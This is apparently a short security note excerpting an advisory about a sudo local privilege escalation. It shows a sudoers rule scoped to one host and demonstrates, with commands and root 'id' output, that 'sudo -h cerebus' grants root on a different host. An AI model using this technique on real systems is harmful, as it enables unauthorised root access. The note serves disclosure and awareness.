Vulnerabilities

SUDO Local Privilege Escalation

https://www.sudo.ws/security/advisories/host_any/

For example, given the sudoers rule:

```
alice cerebus = ALL
```

user **alice** would be able to run `sudo -h cerebus id` on any host, not just *cerebus*. For example:

```
alice@hades$ sudo -l
```

Sorry, user alice may not run sudo on hades.

```
alice@hades$ sudo -l -h cerebus
```

User alice may run the following commands on cerebus:

```
(root) ALL
```

```
alice@hades$ sudo -h cerebus id
```

```
uid=0(root) gid=0(root) groups=0(root)
```
